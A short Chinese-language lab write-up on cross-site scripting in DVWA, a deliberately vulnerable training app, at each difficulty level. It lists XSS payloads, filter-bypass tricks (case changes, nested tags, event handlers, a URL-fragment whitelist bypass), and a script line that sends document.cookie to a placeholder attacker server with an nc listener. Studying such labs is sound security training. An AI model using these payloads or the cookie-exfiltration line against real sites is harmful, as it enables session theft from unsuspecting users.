XSS
XSS(Reflected)
LOW
1
2
3
4
5
6
7
#获取Cookie
<script>alert('document.cookie')</script>
#访问攻击者服务器
<iframe src='http://ip/time.jpg'></iframe>
#向攻击者服务器发送cookie
#nc -nvlp 80
<script>new Image().src="http://ip/a.php?output="+document.cookie;</script>
MEDIUM
利用大小写,组合过滤条件绕过
1
2
3
4
<Script>
<scr<script>ipt>
<body onload=alert('')>
<img src="" onerror="alert(document.cookie)"/>
HIGH
1
$name=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i','',$_GET['name']);
无法使用<script>但可以使用其他标签
XSS(Stored)
LOW
后台源码:
trim(string,charlist):移除string字符两侧的预定义字符,预定义字符包括\t 、 \n 、\x0B 、\r以及空格,可选参数charlist支持添加额外需要删除的字符
stripslashes(string):去除掉string字符的反斜杠\
mysqli_real_escape_string(string,connection):函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
$GLOBALS:引用全局作用域中可用的全部变量。
MEDIUM
1
2
htmlspecialchars()
//将标签转为普通字符
name为注入点
HIGH
name为注入点
XSS(DOM)
LOW
url注入
1
http://192.168.30.131/dvwa/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>
MEDIUM
1
></option></select><img src=1 onerror="alert(document.cookie)"/>
HIGH
服务器对default设置了白名单,攻击代码用#注释不上传到服务器
1
http://192.168.30.131/dvwa/vulnerabilities/xss_d/?default=English #<script>alert(document.cookie)</script>